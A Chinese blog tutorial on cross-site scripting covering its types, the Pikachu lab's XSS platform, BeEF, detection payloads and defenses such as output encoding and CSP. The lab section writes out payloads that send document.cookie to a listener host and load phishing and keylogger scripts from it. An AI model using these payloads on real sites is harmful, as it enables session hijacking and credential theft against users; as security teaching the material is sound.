首页 > 其他分享 >XSS及防御

XSS及防御

时间:2024-03-17 11:59:06浏览次数:27  
标签:脚本 XSS 恶意 漏洞 cookie 防御 document

一,什么是XSS

XSS(跨站脚本攻击,Cross-Site Scripting)是一种常见的安全漏洞,攻击者通过在网页中注入恶意脚本,使得用户在浏览网页时执行这些恶意脚本,从而达到窃取用户信息、会话劫持等恶意目的。

通常恶意脚本不仅限于JavaScript,还包括Java,VBScript,Flash,ActiveS;

二,XSS及类型

1,XSS攻击流程

危害:

  1. 获取cookie,实现冒充身份的后续操作
  2. 刷点击
  3. 弹广告
  4. 传播蠕虫病毒

2,常见的XSS类型

1. 反射型XSS

攻击者构造恶意链接,诱使用户点击,触发恶意脚本执行。
   
2. 存储型XSS

攻击者将恶意脚本存储到服务器端,当用户访问包含恶意脚本的页面时,恶意脚本会被执行。

3. DOM-based XSS

攻击者利用前端JavaScript代码中的漏洞,通过修改DOM来执行恶意脚本。

三,XSS平台

XSS平台是一种工具或服务,用于帮助安全研究人员、渗透测试人员或黑客测试和演示跨站脚本(XSS)漏洞。这些平台通常提供以下功能:

1. 提供一个漏洞沙盒环境,让用户能够模拟和测试XSS攻击。
2. 支持创建和分享恶意Payloads(恶意载荷),用于利用XSS漏洞。
3. 支持对目标网站进行XSS攻击的自动化扫描和测试。
4. 提供数据分析和报告功能,帮助用户了解XSS漏洞的影响和风险。

XSS平台可以帮助安全专业人员更好地了解和防范XSS漏洞,同时也可以被黑客用于进行恶意攻击。因此,使用XSS平台应该遵守法律规定,仅用于合法的安全测试目的。

1,使用皮卡丘(pikachu)自带的XSS平台;

(1),基于反射型的GET;

获取cookie;

<script>document.location='http://监听机的IP地址/pikachu/pkxss/xcookie/cookie.php
cookie='+document.cookie;</script>

http://localhost/pikachu/vul/xss/xss_reflected_get.php?message=<script>document.location='http://监听机的IP地址/pikachu/pkxss/xcookie/cookie.php?
cookie='+document.cookie;</script>&submit=submit

(2),基于反射型的POST

http://监听机的IP地址/pikachu/pkxss/xcookie/post.html

(3),存储型

钓鱼;

<script src="http://监听机的IP地址/pikachu/pkxss/xfish/fish.php"></script>

键盘记录;

<script src="http://监听机的IP地址/pikachu/pkxss/rkeypress/rk.js"></script>

2,使用开源的XSS平台(GitHub)

3,beef-xss(基于kali)

Kali Linux中内置的BeEF-XSS操作是一个强大的工具,用于利用跨站脚本(XSS)漏洞。BeEF(Browser Exploitation Framework)是一个专门针对Web浏览器的渗透测试工具,可以通过利用浏览器漏洞来实现对目标系统的攻击。

要在Kali Linux上使用BeEF-XSS操作,可以按照以下步骤进行:

1. 打开终端并启动BeEF服务:
 

beef-xss

2. 访问http://127.0.0.1:3000/ui/panel,登录BeEF控制台,默认用户名和密码均为beef。

3. 在BeEF控制台中,可以查看已经连接的受害者浏览器,并尝试执行各种攻击操作,如钓鱼、执行JavaScript代码等。

四,XSS的检测

(1),黑盒测试

通过在输入框中输入常见的payload并且观察网站的响应来进行测试:

<script>alert('XSS')</script>
<script>alert(document.cookie)</script>
><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
"><script>alert(document.cookie)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<img src="javascript:alert('XSS')">
onerror="alert('XSS')">

(2),白盒测试

检查网站的源代码,查找是否存在未经过滤的用户输入,以及是否存在潜在的XSS漏洞。

(3),自动化的工具检测

使用专门的XSS扫描工具,如Burp Suite、OWASP ZAP等,来扫描网站并检测潜在的XSS漏洞。

以下是一些常用的XSS自动化检测工具:

1. Burp Suite:Burp Suite是一套用于web应用程序安全测试的集成平台,其中包含了用于检测XSS漏洞的功能。它提供了强大的扫描功能,可帮助发现网站中存在的XSS漏洞。

2. OWASP Zed Attack Proxy (ZAP):ZAP是一个开源的web应用程序安全测试工具,其中包含了用于检测XSS漏洞的功能。它可以被用来自动化地扫描网站并发现潜在的XSS漏洞。

3. Netsparker:Netsparker是一款专业的web应用程序安全测试工具,具有自动化扫描功能,可以检测XSS漏洞以及其他安全问题。

4. Acunetix:Acunetix是一款自动化的web应用程序安全测试工具,可帮助发现网站中的XSS漏洞和其他安全问题。

5. AppScan:AppScan是IBM提供的一款web应用程序安全测试工具,具有强大的扫描功能,可用于检测XSS漏洞和其他安全问题。

(4),代码审计

对网站的前端和后端代码进行审查,查找是否存在未经过滤的用户输入,并确保对用户输入进行适当的转义或过滤。

(5),WAF(Web应用程序防火墙)

使用WAF来检测和阻止恶意脚本的注入,以及对用户输入进行过滤和验证。

五,XSS的防御

1. 输入验证:对用户输入的数据进行验证,只接受符合预期格式的数据,过滤掉潜在的恶意脚本。
   
2. 输出编码:在将用户输入的数据输出到网页时,使用合适的编码方式(如HTML编码、JavaScript编码)来转义特殊字符,防止恶意脚本执行。

3. 使用CSP(Content Security Policy):通过设置CSP头部,限制网页加载外部资源和执行内联脚本,减少XSS攻击的可能性。

4. 防止存储型XSS:对用户提交的数据进行严格的过滤和转义,避免将恶意脚本存储到数据库或文件中。

5. 使用安全框架和库:如使用Web应用程序防火墙(WAF)等安全工具来检测和防御XSS攻击。

6. 定期更新和修补漏洞:及时更新网站的软件和组件,修复已知的安全漏洞,以减少遭受XSS攻击的风险。

综合使用输入验证、输出编码、CSP等措施,并加强对网站安全的监控和维护,可以有效防范XSS攻击。

标签:脚本,XSS,恶意,漏洞,cookie,防御,document
From: https://blog.csdn.net/2301_76717406/article/details/136597153

相关文章

  • 警惕Memcached协议滥用!网络攻击愈演愈烈,如何做好服务器防御?
    近期,网络安全领域迎来了一场新的挑战。Memcached协议,这个原本用于提升数据库读取性能的开源内存缓存系统,近期被恶意攻击者所滥用,进行大规模分布式拒绝服务(DDoS)放大攻击。全球多家公司服务器受到波及,其中包括知名的网络安全公司ArborNetworks。攻击频发据监测数据显示,这类攻......
  • XSS漏洞
    漏洞介绍XSS攻击全称跨站脚本攻击,是为不和层叠样式表(CascadingStyleSheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到web网站里面,供给其它用户访问,当用户访问到有恶意代码的网页就会产生xss攻......
  • wxss和css的区别
    目录1.语法差异2.尺寸单位3.样式导入WXSS示例代码:CSS示例代码:4.组件和属性的支持总结WXSS(WeiXinStyleSheets)和CSS(CascadingStyleSheets)都是用于描述文档样式的语言,但它们在微信小程序和网页开发中有一些关键的区别。以下是它们之间的主要差异,并附......
  • xss.haozi.me靶场“0x0B-0x12”通关教程
    君衍.一、0x0B实体编码绕过二、0x0Cscript绕过三、0x0D注释绕过四、0X0Eſ符号绕过五、0x0F编码解码六、0x10直接执行七、0x11闭合绕过八、0x12闭合绕过一、0x0B实体编码绕过我们首先构造payload进行测试:这里我们可以看到全部转为了大写,查看源码:function......
  • xsslabs靶场
    level1payload:<scirpt>alert(123);</script>从php代码可以看出level1没有对输入的数据进行防御!level2输入level1的payload可以看到输入到input标签中的value值中,所以用'"用来闭合value,用>来闭合input标签payload:'"><script>alert(123)</script>从php代码可以看到l......
  • php xss 反序列化漏洞
    介绍反序列化漏洞,利用了后端服务的设计缺陷序列化和反序列化对象=(序列化)》字符串对象《(反序列化)=字符串序列化字符串构建首先,理解下对象序列化后是个嘛玩意儿上代码<?phpclasstest{public$a='hello';private$b='hello';protected$c='h......
  • AI安全白皮书 | “深度伪造”产业链调查以及四类防御措施
    以下内容,摘编自顶象防御云业务安全情报中心正在制作的《“深度伪造”视频识别与防御白皮书》,对“深度伪造”感兴趣的网友,可前往顶象留言,在该白皮书完成后,会为您免费寄送一份电子版。 “深度伪造”就是创建高度逼真的虚假视频或虚假录音,然后就可以盗用身份、传播错误信息、制作......
  • jymusic V2.0 前台XSS漏洞
    JYmusic是一款开源的跨平台音乐管理系统。有着清新的界面和强大的功能。jymusic界面在2.0版本中发现了一个可以打管理员cookie的漏洞利用条件1.登录会员2.认证音乐人上传音乐时,抓包,修改name或者cover_url参数值为:XSS"><script>alert(document.cookie)</script>>此时......
  • xss跨站脚本
    1、演示xss漏洞的三种类型1.xss(反射型)服务器将浏览器输入的输入,原样返回给浏览器恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击。1.代码2.xss(存储型)服务器接收到浏览器的输入,先存储到服务器的数据库,再原样返......
  • 编码绕过xss说明和htmlspecialchars函数
    html实体编码JS编码1.htmlspecialchars函数把一些预定义的字符转换为html实体预定义的字符&->&amp;"->"'->'<-><>->gt;<script>--><&ltscript&gt默认绕过绕过方式:payload:'onclick='alert(123)'或者&#......